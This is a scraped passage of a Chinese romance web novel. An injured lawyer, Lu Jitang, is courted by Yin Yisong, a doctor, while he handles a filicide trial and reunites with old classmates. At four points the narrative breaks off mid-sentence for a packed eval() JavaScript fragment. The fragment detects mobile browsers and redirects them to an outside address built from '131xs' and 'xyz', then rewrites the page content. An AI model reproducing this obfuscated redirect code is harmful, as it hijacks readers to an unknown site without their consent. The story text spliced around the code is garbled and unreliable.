l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396667|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头磕到了方向盘,他忍着剧痛将车控住,停在路边,摘下了眼镜,在晕过去前,眼镜脱手,落到了车外的地面上。 细框眼镜沾着血,摊在落满紫荆花的地面上,眼镜的主人在车上已经无知无觉地晕了过去。 路既棠再醒来时,还没睁开眼睛,就闻到了那股清冷苦涩的艾草香。 殷倚松的声音很快传来,“别睁眼,检查结果出来了,你现在肋骨骨裂,四肢都有软组织挫伤,还有轻微的脑震荡,也不要动得太厉害,不然会头痛头晕。” 殷倚松的话刚说完,路既棠在天旋地转间,觉得头痛得被像无数根针扎了一样,他疼得侧过身去干呕了一声。 殷倚松伸手托住路既棠的侧脸,另一只手从路既棠的后颈和太阳穴依次按过,“别担心,我只是帮你缓解痛感,不会对你做什么。” 殷倚松按过之后,路既棠居然真的觉得头痛得到了缓解。 “这家医院是我家开的,就是上次义诊那一家,这是顶楼的单人病房,很少人会到上面来,这里很安静,”殷倚松说道,“白鹤生也同意你在这里养伤了,如果你有什么异议,可以等你伤好一点再跟我说,现在你该好好休息了。” “阿棠,”殷倚松轻声喊他,语调柔软,在说后半句话时,声音里却隐隐有着寒意,“至于其他的事情,我会帮你解决。” 路既棠捱不住席卷而来的困意,又闭上了眼睛。 在几次醒来的间隙里,殷倚松将他扶起来,动作轻柔地喂他喝水吃东西。 路既棠穿着病号服,憔悴地靠在床边。 人在生病受伤时,心理都很脆弱,会下意识依赖照顾自己的人,路既棠也不例外。 一天傍晚,路既棠看着窗外的夕阳,在殷倚松伸手来探他的体温时,他握住了殷倚松的手。 殷倚松的手突然停住了。 因为姿势问题,两个人挨得很近,殷倚松退了一步,坐下后,问道:“你是不是有什么想问我的?” 路既棠看着殷倚松,看了很久,才说道:“你去我学校看过我的事,我听沈释北说了,殷倚松,你为什么对我这么执着?” 闻言,殷倚松并没有露出什么惊讶的神色,像是料到总会有这一天。 他沉默了很久,等到夕阳落尽,病房里的灯自动亮起,才轻声说道:“很早很早之前,我就在梦里见过你,梦中潮湿的雨雾中,你坐在屏风后面,长发如墨,穿着白衫,肩上披着鹤氅,你的脸色很苍白,手上拿着一幅丹青,我走过去,你看到了我,你似乎是哭了,对我说了两个字,‘等我’。” 病房里很安静,只有殷倚松的声音,他说:“后来,雨雾越来越浓,直到把我推出了梦境。醒来后,我很难过,我总觉得我忘了什么很重要的记忆。在很小的时候,我就觉得,我在等一个人,我不知道这一生他会不会来,可我愿意一直这样等下去。” “在梦中,我记住了你的脸,醒来后,我不但没有忘记,反而随着时间逝去而记得越来越深,到了后来,像是刻在了心上一样。”殷倚松娓娓道来。 “高一时,在看到你的第一眼,我就知道,我这一生,等的人就是你。” “我终于等到了你。” 殷倚松看着他,神色温柔,“所以路既棠,你说,我怎么可能会放开你呢。” 44. 第 44 章 路既棠的伤看着严重,但经过修养,痊愈得很快。 山月遥和刑知非来看他。 “老天啊,”明艳高挑的刑知非坐在床边,帮他削苹果,她动作利落,苹果皮削得又长又直,把削好的苹果递给路既棠,才对路既棠挤眉弄眼道,“那个谁,就刚刚出去的那个医生,是不是遥姐说的那个谁,是不是你的那个谁?” 路既棠无言以对,只能沉默地吃苹果。 坐得远一些的山月遥打了一下她肩膀,怒道:“你怎么这么八卦,你八卦就算了,还把我卖了。” 刑知非坐直了,“这怎么能算八卦?” 她义正言辞地说:“咱们所里,五条单身狗。” 她指了一下山月遥,“你就算了,八字别说一撇,就连怎么写的都不知道,好不容易既棠有点希望了,我怎么能不好好鼓励?” 路既棠的头好不容易不痛了,她一说,他当即觉得自己的头痛又有复发之势。 下一刻,病房的门响了,山月遥去开门。 贺惊筠和戚九羿走了进来。 戚九羿放下东西,站在一旁。贺惊筠坐下来,开口问了路既棠的情况,随后说道:“那天别你的那辆车已经找出来了。” “那车驾驶员醉驾,”戚九羿声音深沉,“已经被抓进去了。” 贺惊筠拍了拍路既棠的手,说道:“我们还没来得及去查,殷倚松已经先动手了,醉驾的人顶风作案,大概率会被顶格处理,你好好养伤,有什么要紧的案件可以先转给我们处理。” 路既棠点头,“谢谢师兄。” 贺惊筠说完正事后,认真的神情一扫而空,他像是憋了一肚子坏水,笑着对刑知非说道:“知非,我在门外可听到了几句,说什么八卦呢,谁是单身狗啊,也和我说说。” 刑知非简直要抱头鼠窜,“你听错了你听错了,我什么都没说。” “月遥,”贺惊筠当即回头,“你说。” 顾忌着路既棠要养伤,他们没聊多久就告辞了。 一周后,路既棠出院。 出院后,路既棠没有急着回去工作,而是躺在家里再修养一段时间。 白鹤生想过来照顾他,却被席云启按住了。与此同时,殷倚松开始一日三餐地给路既棠送饭,殷倚松只是将饭菜送到门口,并没有要进路既棠家门的意思。 路既棠回绝,殷倚松却很执着。好几次,路既棠站在门外看着殷倚松离去的背影,觉得有些不忍。 殷倚松送的饭菜多是药膳,有补气益血、滋养脾胃、生髓养神的功效,许多材料都很名贵。 “药食同源,你脾胃一直虚弱,这些年心神又耗损太过,受伤之后,是该多吃些好好补补。”殷倚松轻声说道。 路既棠依然过意不去,他试图让殷倚松进屋。 殷倚松低头看他,轻声一笑,“你不用觉得过意不去,做这些都是我心甘情愿的,等你真正愿意接受我的那一天,再邀请我进去也不迟。” 殷倚松看向路既棠的目光越来越轻柔,也越来越专注,“我这样纠缠你,你不厌恶我,对我来说已经很好了,现在我不敢奢求什么。” 他轻声说道:“阿棠,我等了这么多年,也谋算了这么多年,我会给你一个交代。” 路既棠不解,殷倚松却没有再往下说。 这天早晨,祝汝出差,回到南林市,听说路既棠前段时间受了伤,于是上门看望。 聊起现状,当年的祝汝和路既棠一样,坚定地把法学作为第一志愿,最后如愿学了法学。大学时,祝汝和路既棠在同一座城市,不同的学校。 毕业后,祝汝考上了检察院,留在了那座城市。现在的祝汝,已经是未成年人检察部的一名检察官了,主要负责妇女儿童方面的犯罪。 祝汝一身便服,扎着利落的马尾,白净的脸上带着一点岁月的风霜。 路既棠说道:“我这段时间身体不太好,招待不周,你多担待。” 祝汝说道:“没必要跟我这么客气,我难得回一趟南林市,能见故人一面就已经觉得很开心了。” 说起过往,祝汝坦言道:“可能你们都不知道,我有一个比我小六岁的弟弟,还有两个姐姐,只不过两个姐姐都被送走了,也不知道有没有活下来。” “其实我一出生,也要被送走的,但那时候村里正好来了一个算命的,算命的说我命好,是能飞出大山的金凤凰,就这样,我才被留了下来。 “现在看来,我的命确实很好,一路上遇到了很多很好的老师,也遇到了你们,走到今天这一步,对我来说,确实是读书改变了我的命运。”祝汝眉眼不起波澜,平淡地像是在说别人的故事。 “说起我弟弟,我觉得很感慨,我要考第一名、要很优秀才能得到的夸奖,而他只要一出生就可以。”祝汝说道。 “也是这些经历,让我能够深刻地共情很多妇女、女童的处境。” “上学时,学界不是在讨论拐卖妇女儿童罪的量刑是不是畸轻吗,有一位学者说的观点我很赞同,重刑轻刑倒是其次,最重要的是开民智,让某些人能认识到,妇女儿童是人,而不是可以买卖的商品,女人不是传宗接代的工具,我国的法治之路任重道远,唤醒愚昧的人的良知也任重道远。”祝汝神色认真。 她说:“或许真的有人性本恶,但我愿意相信人性本善,这就是我这份工作的价值。” 路既棠看着她,久久没说话。 “前阵子我遇到八班的蒙亦安了,她留校了,现在是人工智能方向的副教授了。”祝汝说道。 “蒙亦安提出的观点,我也觉得很有意思。”祝汝接着说,“她说,人工智能,它或许本来就存在,只是需要人类给予它某个载体,让它真正被世人看见。” 祝汝复述蒙亦安的观点,“人工智能的智商在无数次的迭代中,很容易就能高于人类几百倍几万倍,到最后你会发现,有些东西并不是必须存在于某个实体物质中,像磁场、像无线电,还有更多的无法为我们所知的东西,它们不依赖于实体物质,而是依赖于某种我们所理解不了的东西存在,所有的一切,到最后会不会就是一片虚无。” “蒙亦安说,”祝汝继续说道,“所以科学的尽头是玄学这句话不是没有道理的。很多宗教的教义都在倡导感恩、善良、慈悲,怜悯弱小,可是为什么呢?” “因为或许我们人类终有一天也会成为弱小的一方,古时候的神魔和人类是这样,现在的人类和动物是这样,未来的人工智能和人类也是这样。” “如果作为创造人工智能的人类,不能把感恩、慈悲和怜悯弱小的信念教给人工智能,等到人工智能的智商真的高于人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396668|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类千万倍的时候,人工智能碾死我们就像碾死一直蚂蚁一样简单,你看,这是不是很像宗教中的末日审判。”祝汝笑着感叹,“第一次听,我甚至觉得震悚,蒙亦安真是个天才。” 路既棠却听懂了,“文明的发达程度,和弱者的处境息息相关,一个足够强大高尚的文明,不在于它在面对敌人时有多强悍,而在面对弱者时有多悲悯。” 他说道:“这和绝大多数法律人的理念殊途同归。” 祝汝点点头,她叹道,“你们都是天才,我始终觉得,这个世界不止需要埋头苦干的人,更需要透过现在看向未来的人,人文精神的传承,才是文明存在的意义。” “高中的班主任说,文科是无用之用,是为大用。”祝汝说道,“人文精神是不朽的。” “我一直都觉得这句话说得很对。”路既棠赞同道。 祝汝站起身来,她目光坚定,身上有着磐石一样的气质,“蒙亦安说,她的归宿在科研里,我和她有点像,你记得高中时英语老师给我们放的那部电影吗?” 路既棠说:“记得。” 祝汝字字句句如珠玉掷地,“电影里说,独立的精神和自由的思想,也可以是女性追求的目标。我的价值,不在婚姻和家庭里,我要让更多的女性看到,人生的另一种可能。” 路既棠在祝汝的话语间,看到了一个不屈而坚韧的灵魂。 她这一路走来,就如她口中所说的那样,女性在人生里有另一种可能。她的路那么艰难崎岖,稍有不慎就会坠入万丈深渊,可她偏偏每一步都走对了。她在容错率几乎为零的人生中,交出了一张近乎满分的答卷。 这是多么难得的一个女孩子啊。 在路既棠和祝汝叙旧时,殷倚松驱车到了城郊的一处庭院外。 和当年家中的园子不同,这处庭院更低调,也更雅致,走进其间,只见一步一景,亭台楼阁皆错落有致,竹影随着清晨的日光落在白墙上,就像一副写意丹青。 殷倚松一路分花拂柳,来到一处厅堂前。 厅堂中坐着一个年轻男人。 轻微的风掠过,厅堂外的殷倚松偏头让过一根细如雨丝的长针,将手中的半截朽木掷出,稳稳地接住了剩余的六根长针。 两个面容寡淡的黑衣男人从年轻男人身后疾驰而出,转眼就到了殷倚松身前,出招狠辣,直奔殷倚松命门。 殷倚松利落地做了一个起手的姿势,以一招斜行拗步借力打力,转瞬间就化解了对方的攻势,几招过后,殷倚松已经隐隐占据上风。 堂上年轻男人看着手中的棋盘,始终没有抬头,在他身侧的水钟滴下最后一滴水时,堂外已经胜负分明。 两个黑衣男人被压制得动弹不得。 殷倚松闲闲地站在庭院中,身上长衫分毫不乱,气度也依旧从容不迫,如黑云迫城时的染墨青松。 他轻声道:“承让。” 广袖长衫的年轻男人在棋盘落下一颗白子,才抬头道:“不错,身手有长进,阿青在习武上如果有你一半专注,我也不至于如此头痛。” 殷倚松抬步走进堂中,对年轻男人施了一礼,口中唤道:“师叔。” “免礼。”年轻男人笑了一下,如玉的面庞莹莹生辉,他看上去年纪极轻,举手投足间却有一种上位者的气质,“过来坐。” 45. 第 45 章 殷倚松于是在年轻男人的对面坐下。 棋局上黑棋步步紧逼,白棋盘踞在角落已经奄奄一息。 年轻男人百无聊赖地看了一眼,又随手下了一颗黑子,彻底断绝了白棋的生气,常玄抬头看殷倚松,说道:“你于医道上根骨奇佳,我问你,此局中,若无常执黑,你执白,方才在我落下最后一颗黑子之前,你可还有妙手回春的把握?” “医家只能尽人事听天命,”殷倚松说道,“此局中乘侮之气太过,只能顺用,不能逆用,如果白子落在星位,未必没有扭败为胜的可能。” 闻言,常玄笑道,“殷问枢选了你做这一代医家的传人,倒是没有选错人。” 殷问枢已经于四年前过世,是殷倚松的爷爷,常玄的样貌和殷倚松一样年轻,却能直呼殷倚松爷爷的名讳。 常玄身后,一块古朴的牌匾高悬明堂,上书“清静阁”。 殷倚松十岁时,常玄是这个样子。多年过去,常玄的容貌依旧没有分毫改变。 常玄看了一眼厅堂外的日头,说道:“已经是辰时末了,阿青竟还没起。” 他捏着手中的黑棋,颇有些恨铁不成钢的意味,叹道:“清静阁这一代,只有阿青一个弟子,他这样懒散,不说什么时候才能接下这阁主之位,我只怕他连护身的本事都学不好。” 殷倚松说道:“辞青还小,他天分高又心性纯良,历练几年就好了,前任阁主为他取名‘莫非’,师叔给他取字‘辞青’,有阁中人护着,想来不会有什么大事,师叔不必过于担心。” “就是这样我才担心,”常玄摩挲着手中的黑棋,意味深长地说道,“有时候,心性纯良可不是一件好事。” 说完后,常玄叫人撤下棋盘,又亲手为殷倚松倒了一盏茶后说道:“把他的生辰给我看看吧。” 常玄凝神看着纸上的天干地支,伸出右手在虚空中一点。 他修长的食指落在半空中的虚点上,突然笑出声来,他对殷倚松说道:“天地鸳鸯合,恭喜啊,你们二人是正儿八经的缘定三生。” 殷倚松凝眸,“爷爷以前说过,我和他的盘很合,竟然是这个意思吗?” “自然。”常玄说道,“真难得,我已经很久没有看到这样的缘分了。” “近来他有驿马之祸……已经发生了,应该是半月前的事了。”常玄宽大的袍袖无风自动,他神色平静地说道。 殷倚松点头。 “本来此次的灾祸该要他半条命的,但他平日里积的阴德的不少,大事化小了。”常玄叹道,“世上竟还有这样至纯至善之人。” “我知道你想问什么,”常玄接着说道,“他年幼多坎坷,渡过这一劫后,余生都会安康顺遂,只是……你是他的情劫啊,不止之前的情劫,你一个人更是占了他后半生的情缘。” 殷倚松倏然抬头,神色怔然。 “放心,你与他是命定的缘分,缘劫缘劫,真奇妙啊,”常玄笑道,“命书都看不过眼了,要帮你们一把,等他想清楚就好了,快了。” “我说的,他往后会喜至庆来,得偿所愿。” 殷倚松听完后,起身施礼,他沉声道:“多谢师叔。” 常玄托住殷倚松行礼的手,“不必多礼,你们二人情投意合之时,不如带他过来见见我。” “至于你父母的事,”常玄沉吟道,“既然你已经接下了传承,成为了这一代的家主,那由你自行处理,把握好分寸就好,我不会干预。” 最后,常玄摆摆手,笑着说道:“你去吧,我去看看阿青。” 两天后,修养好的路既棠重新开始工作。去年下半年接的一个刑事案件,最近也要开庭了。 这个案件也是法律援助案件,由法律援助机构指派律师。 路既棠穿着律师袍坐在辩护席上,对面是三个穿着制服的公诉人,被告人穿着囚服坐在下方,两名女法警站在被告人身后。 这个案件情节严重,一审就在中院开庭。 三名审判员从打开的门后走出来,依次入座。 旁听席上坐着很多人,有受害者家属,有被告人家属,还有一些由老师带过来旁听案件的法学生。 路既棠看着被告人,觉得很悲哀。 这位被告人三十二岁的女性,是一位母亲,也是一名涉嫌故意杀人的嫌疑人。 去年,路既棠去看守所会见过两次这名嫌疑人。 据说一开始,在负责案件的检察官对她问话时,她不愿意让律师为她进行辩护,直到检察官对她说,这是法律援助案件,按照法律规定,会有指定的律师为她辩护,她才没有再激烈反对。 路既棠在接手案件的第一时间,就去查阅卷宗。嫌疑人杀了自己亲生的一子一女。 在讯问笔录上,检察官问她为什么。 她答:活不下去了,想自.杀,但怕两个不到八岁的孩子在她死后受到虐待,于是想和两个孩子一起死。 她把毒药兑在甜水里,哄两个孩子喝下,自己也喝了,三个人同时睡去,没想到半夜惊醒时,两个孩子的身体都僵硬了。只有她还活着。 她大哭一场后,主动伸手去触电,但还是没死,于是她趁着夜色出去跳江,她不会游泳,但在江水里浮沉间,居然到了岸边。她还是死不了。 于是她爬上了岸,回去自首。 在法庭上,她在审判长的问话中,再一次回忆案件细节,她一边说一边哭,说道孩子的时候,更是哭得泪水流了满脸,哭得声音沙哑,哭得痛不欲生。 坐在审判席的女法官不忍,让坐在嫌疑人身后的法警拿来纸巾递给嫌疑人。 等嫌疑人的情绪缓过来后,审判长继续问道:“为什么觉得活不下去了?” 她回答:她是远嫁过去的,听不懂那边的方言,生了两个孩子不到一年,丈夫就外出打工,只有过年才回去几天,还总是打骂她。 她一个人在农村里带孩子,丈夫一年到头没有给过任何生活费,她只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396669|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠打零工赚钱给两个孩子交学费,镇上没有什么工作,她连孩子的学费都交不起。 公婆对她不好,和村里的人一起说她的闲话。一次公婆不堪入耳的辱骂终于成为了压倒骆驼的最后一根稻草。 就这样,事情就发生了。 路既棠在第二次会见结束后,和接过类似案件的刑知非在办公室聊了一个下午。 路既棠难得露出了非常绝望的神色,“她一心求死。” “其实在那种处境里,死亡对她来说反而是一种解脱,她自首坦白,认罪认罚,这些都是可以减轻处罚的情节,可哪怕我真的辩护成功,对她来说也没有任何作用,她不需要,”路既棠平静而绝望地说道,“我救不了她。” 一向跳脱的刑知非听完后,沉默了很久,“有时候,这种案件做多了,真的怀疑人性,隐身的丈夫,歇斯底里的妻子,所以婚姻到底为女性带来了什么呢。” “既棠,记得刑法老师说过什么吗,做你该做的吧,我们竭尽全力为我们的当事人辩护,剩下的,就交给法律吧。”刑知非说道。 法庭上,路既棠说完自己的辩护思路后,抬头环顾了一圈旁听席,嫌疑人的丈夫、两个孩子的亲生父亲没有来,来的是嫌疑人的父母和亲哥哥。 坐在旁听席上的学生听得很认真,有人的眼中闪烁着泪光,这个案件或许会引来铺天盖地的舆论吧。 庭审结束后,路既棠走出法庭,看着远处的天空,长舒了一口气。 路既棠从大三开始就在律所实习,读研期间,更是在导师的律所中作为律师助理处理各类案件,这么多年里,他在很多案件中,窥见人性的冷漠和恶毒。 为了利益,父子可以反目,亲友可以倒戈,什么都可能发生,人性中的纯真友善似乎成为了一种奢侈品。 人啊,到底是一种什么的生物呢? 人啊,太复杂了。 路既棠记得,五六年前的一个冬日下午,他正坐在电脑前整理案件的证据材料,突然有一个人走到他的桌前问他某个公司是不是在这栋楼里。 他抬头一看,发现对面站着一个头发花白、只穿着单薄衣服的老人。 对方见他不答话,于是拿出法院的调查令,说自己没有恶意,只是想调查一些东西,他不熟悉这里,希望路既棠能帮他指一下路。 路既棠于是给他指了路,他向路既棠道谢,临走时,又给了路既棠一把糖炒板栗。 那时候,路既棠握着那把温热的板栗,就这样看着老人颤颤巍巍离去的背影。 那一瞬间,他还是愿意相信人性的善。 开完庭后,路既棠休息了一天,又开始出差。 上次接的外地委托案件还没有结束,他需要过去收个尾。 路既棠等当事人签完字后,收好材料。 他刚走出去,就遇到了一个熟人。 南谦抑。 对方看到他显然也很惊喜,“师兄,你来这边做案件吗?” 46. 第 46 章 南谦抑是路既棠的同门师弟,比他小一届,毕业后去了涉密单位工作。 从前,面对不苟言笑、积威甚重的导师,南谦抑敢笑嘻嘻地在老虎头上拔毛。这么多年过去了,他稳重了许多。 “师兄,”南谦抑说道,“你对自己好点,别太拼了,读书时,你就在导师的律所工作了,你还是学生,导师就把你当授薪律师用,却没有给你应有的回报,你一边工作还要一边写毕业论文,还要处理学校里的琐事。” 南谦抑叹了一口气,“那时候好多次,我都看见你手上拿着没翻完的书,累得在校车上睡着了。” “我真希望你能活得快活一点。”南谦抑说。 路既棠笑了一下,“辞职之后,我换了一个新环境,现在好多了,不会像之前那么忙了。”他接着说道,“你呢,你最近怎么样?” “忙啊,”南谦抑一说起这个,稳重的样子不翼而飞,恨不得捶胸顿足,他对路既棠哭诉道,“忙得快要死了,别人只有季度末忙,我们是全年都忙,案件太多了,加班是家常便饭,难得今天调休,好不容易能出来逛逛,结果家属又被一通紧急电话叫走,我只能一个人在这游荡了。” “你和那个人,这么多年,一直都是这样吗?”路既棠问得隐晦。 南谦抑抬头看了路既棠一眼,点点头,说道:“是啊,当年还是因为你无意中推了一把,我们才在一起的,师兄,你别担心我,我心甘情愿。” 路既棠听完后,说道:“祝你们幸福。” 南谦抑闻言笑了,笑容明亮,一如当年,“谢谢师兄,也希望师兄早日找到自己的另一半,和对方厮守一生。” 和南谦抑道别后,路既棠启程回南林市。回到家时,白鹤生正在给年年喂猫粮。 路既棠在玄关换完鞋,放下东西,又进房间换了一身衣服。他走到客厅,看到白鹤生坐在年年的猫抓板上,给正在吃猫粮的年年的顺毛,他对路既棠说道,“厨房里熬着山药莲子粥,你喝一点吧。” “能不能做别的,我不喜欢用莲子熬的粥。” “爱喝不喝。”白鹤生头也不抬地说道,“只有这个,没别的,你看着办。” 路既棠走过去,轻轻踢了白鹤生一脚,“你怎么了,今天吃火药了?” 白鹤生长叹了一口气,像是累极了,他终于抬头看向路既棠,神色严肃,眼睛里一点笑意都没有,“你知道吗,殷倚松的父母被判了无期徒刑,二审终审判决,大概率要在里面蹲一辈子了,就是你出差这段时间的事。” 路既棠本来要坐下来,闻言一下子没站稳,白鹤生眼疾手快地扶了他一把,才让他站住了。 “怎么回事?” “殷倚松父母以前做的脏事太多了,前两年被人举报了,”白鹤生深深地看了路既棠一眼,“你知道是谁举报的吗?” “谁?” “殷倚松,他们的亲生儿子啊。”白鹤生嗤笑道,“真是因果循环报应不爽啊,我早说过,等殷倚松能腾出手反抗的那一天,他们夫妇俩就倒霉了。” 白鹤生继续说道:“他们夫妇根基深厚,殷倚松必然是一早就开始布局,两年前殷倚松一击必杀,还把制药公司的股权夺了过来,相关部门查了这么久,殷倚松能和那夫妇俩切割得这么干净,可见他的铁血手腕,他蛰伏了这么多年,最后大义灭亲,把亲生父母送进监狱,可真是个万中无一的狠人。” 路既棠久久沉默无言。 许久后,路既棠低声说道:“他之前和我说,会给我一个交代,难道这就是他所说的交代吗?” 白鹤生垂目,“小棠,殷倚松这样的人,他的爱和他的手段一样,让人不得不提防。我总告诉你,让你离他远点,可是这件事,他像是一点都不在意骂名。席云启和我说的时候,我就知道,殷倚松不只是为了他自己,还是为了你。” 他握住路既棠的手,低头轻轻一笑,“越长大,我就越觉得这个世界真复杂,哪怕现在和席云启在一起,我也总是很不安,我觉得总有一天他会受不了我的性格远离我。所以与其等他远离我,不如我先不要他。” 路既棠回握住他的手,认真地听着白鹤生接下来的话。 白鹤生依然在笑,“我总告诉自己,别想了,没有人会爱一个疯子的。” 他看着路既棠,“小棠,从前,在我心里,你和我相依为命太久了,就像两棵相伴而生的树,根早就长在一起了。我不可能让你和另一个人在一起。” “哪怕我知道,殷倚松比我更在乎你,他爱你。” “我觉得,你就该和我一样,一起和这个疯狂又残忍的世界对抗到底。你不该中途退出,你也不能中途退出,就留下我一个人。”白鹤生神色悲伤。 他说道:“可后来,我懂得了,你和我不一样,小棠,你该是被这个世界爱着的,因为你值得。” 白鹤生的声音很轻,语气却很郑重,“你总是能从一片狼藉里坚定地走出来,继续去找你的理想,你配得上最好的一切。” “小棠,去找你想要的吧。” 路既棠沉默着,紧紧抱住了白鹤生,就像很多年前,白鹤生抱着他一样。 不久后,路既棠回了一趟十年前的家。 这些年,他一直都请人打理着家中的一切。 现在已经是三月中旬,正是草木生长、鲜花盛开的季节。 路既棠在黄昏时分推开了大门,走进了十年前的时光里。 家里的摆设和十年前没有任何区别,时光在这里像是凝滞了。 似乎下一刻,他真的会在一楼的阳台上,看见穿着旗袍、坐在躺椅上,弹着琵琶的奶奶。 路既棠情不自禁地往阳台走去,夕阳余晖落在阳台上,躺椅还在,躺椅上的人却已经散在了时光里。 他垂眸,一滴泪悄无声息地落了下来。 下一刻,一片叶子落在他的掌心里。 路既棠抬头望去,只见庭院中,十年前由奶奶亲手种下的那棵菩提树,正不言不语地站在暮色中,已经亭亭如盖。它像是一个忠实的守望者,在等一个不知多久才会回来的归人。 在那一瞬间,路既棠由衷地触摸到了一种难以言喻的宿命感。 最后一丝光亮被长夜吞噬,长风吹起路既棠的衣角,将一庭院的花树吹得沙沙作响。 路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396670|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既棠按开了阳台和客厅的灯。 他回到书房,拿出来那本在深夜里被奶奶翻看过的相册,他从第一页开始,一直翻看下去,他看到了爷爷奶奶的一生,爸爸妈妈的过往,看到了年幼的自己、少年时的自己。 路既棠看着照片,眼中隐隐有着泪光,唇角却露出很浅的笑意。 最后一张照片是南中的成人礼上,穿着西装笑看镜头的自己。下一刻,他在那张照片的左上角,看到了同样看向镜头的殷倚松。 那时候的殷倚松站在他的身后,正在注视着他,眼睛弯着,带着一点笑意,就这样被镜头记录了下来,和路既棠一起,留在了这张照片里。 路既棠抚摸着这张照片,翻到背面,照片背面,有两行用铅笔写上去的小字, 第一行是,“祝十八岁的小棠隽朗如风。” 离得稍远的一行是,“真巧,居然把殷倚松那孩子也拍了进去。” 路既棠握着那张照片,看了很久很久,像是想明白了什么似的,他笑出声来,笑到最后,居然止不住地落泪。 这些年,路既棠经历了太多事,整个人几乎面目全非,只有想起殷倚松,他才能记起那个天真干净的自己。 殷倚松连着他的过去,这个人作为一个符号,成了他心里那片不必被人窥探的净土。 所以说到底,他还是爱他。 第二天,路既棠去医院复查。 殷倚松为他仔细地检查完身体,说道:“没有大碍了,以后多注意身体,不要太劳累。” 路既棠说道:“周六你有空吗,翠凉山上的海棠花开了,如果你有空,我们一起去看看吧。” 殷倚松意识到了什么,他面色很镇定,却还是控制不住露出了一点惊喜的神色,他说道:“有空,周六我去接你。” 阳春三月,翠凉山上,海棠花开如海。 许多人都出来踏春,一时间,翠凉山上游人如织。 殷倚松走在路既棠身旁,小心地为路既棠挡住不小心冲撞过来的行人。一片海棠花瓣落在路既棠的手背上,路既棠将它拿下来,小心地拢在掌心里。 不知不觉间,他们将游人甩在身后,到了一座安静的院落旁,这里环境宁谧,曲径通幽,殷倚松上前,握起门环扣门,三响过后,有人来开门。 殷倚松对路既棠解释道,“从前你和我说过,暑假时,你会和你奶奶到山上避暑,所以后来,我在山上买下来一些院落,等有一天,你愿意和我一起过来。” “没想到,我真的等到了这一天。”应门的人将他们带进去后,很快离开。 院中的鹅卵石台阶旁,居然也有一棵海棠花树,那棵树很大,满树海棠花在春日的凉风里肆意晒着太阳。 海棠花树下,只有殷倚松和路既棠两人。 “或许白鹤生已经告诉你了,十年前的事不会再发生,我不会再让任何人伤害你。”殷倚松说道。 殷倚松垂眸看着路既棠,神色认真而郑重,“十年前,我想告诉你,我喜欢你,一直都很喜欢。现在,我依然是这样想,只是现在,我不止喜欢你,我爱你。” 他说:“路既棠,我爱你。” 47. 第 47 章 “路既棠,你要不要试试,和我在一起?”殷倚松的声音里含着一丝不易察觉的紧张。 路既棠没有让他等太久,在殷倚松的话音落地后的几个呼吸里,路既棠握住殷倚松的手,随后摊开掌心,将刚刚一直拢在掌心里的海棠花瓣放进殷倚松手里。 路既棠说道:“好。” 在那一瞬间,路既棠觉得殷倚松几乎要喜极而泣。 殷倚松将手中的海棠花瓣小心收好,他试图弯起唇角笑一下,却始终不能如愿,他伸出手,小心翼翼地抚上路既棠的侧脸。 半晌,殷倚松轻声说道:“我可以亲你吗?” “可以。”路既棠带着纵容的语气说道。 下一刻,殷倚松走近一步,微微俯身,路既棠又闻到了那股冷冽的艾草香,殷倚松的唇落在路既棠的额间。 殷倚松珍而重之地吻了一下路既棠的眉心。 殷倚松推开后,路既棠伸手摸了一下殷倚松刚才吻过的地方,他总觉得这样的触碰有些熟悉,却不记得在哪里经历过了。 路既棠抓住殷倚松的衣领,抬头吻上了殷倚松的唇角。 殷倚松愣了一下。 路既棠眉尾和眼尾齐齐挑起,白净的脸上露出一点挑衅的神色,很是勾人,他说道:“你不敢了吗?” 殷倚松呼吸一滞,下一刻,他猛得揽住路既棠的腰,将路既棠的身体压向自己,随后迫不及待地吻住了路既棠的嘴唇,他细细地从唇角吻到了唇珠,舔开了路既棠的唇齿,舌头滑进路既棠的温暖的口腔。 路既棠的腰被殷倚松握得很紧,他被动地承接着殷倚松辗转的吻。殷倚松吻得很细致,越吻越深。 路既棠有些受不了了,挣扎着要推开殷倚松。 殷倚松却将他搂得更紧,放在路既棠腰间的手带着要把路既棠扼断的力气,他们几乎亲密无间地贴在一起,殷倚松吻得更狠了。 庭院中,春风拂过,海棠花瓣纷扬如雪。 不知过了多久,路既棠觉得喘不上来气时,殷倚松才将他放开。 路既棠嘴唇红肿,脸红得要滴血,他几乎要站不住,只能俯在殷倚松肩上顺着呼吸。 